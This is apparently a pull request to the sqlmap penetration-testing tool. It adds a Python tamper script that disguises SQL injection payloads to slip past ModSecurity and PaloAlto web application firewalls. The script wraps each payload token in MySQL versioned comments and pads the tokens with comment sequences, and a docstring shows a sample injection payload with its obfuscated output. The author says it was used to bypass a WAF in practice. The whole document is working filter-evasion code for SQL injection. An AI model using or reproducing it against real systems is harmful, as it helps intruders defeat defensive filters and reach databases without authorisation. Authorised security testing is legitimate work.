created a tamper script that embrances mod zero-version plus multi spaces in one, this is the script that I used to bypass the WAF as mentioned in issue #2749

tamper/multifixspaceplusmodsec.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.NORMAL
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Embraces ModSecurity zero-versioned bypass and multiple space to comment bypass in one
+
+    Requirements:
+        * MySQL >= 5.0
+
+    Tested against:
+        * MySQL <= 5.0
+        * MySQL >= 5.0
+
+    Notes:
+        * Can be used to bypass PaloAlto and ModSecurity WAF/IPS
+
+    >>> tamper("1) AND 6362=9217 AND (7458=7458")
+    /*!000001)*//**//**//**//*!00000AND*//**//**//**//*!000006362=9217*//**//**//**//*!00000AND*//**//**//**//*!00000(7458=7458*/
+    """
+    if payload:
+        retVal = []
+        amountToReplace = 3
+
+        for data in payload.split(" "):
+            retVal.append("/*!00000%s*/" % data)
+
+        return '%s' % ('/**/' * amountToReplace).join(retVal)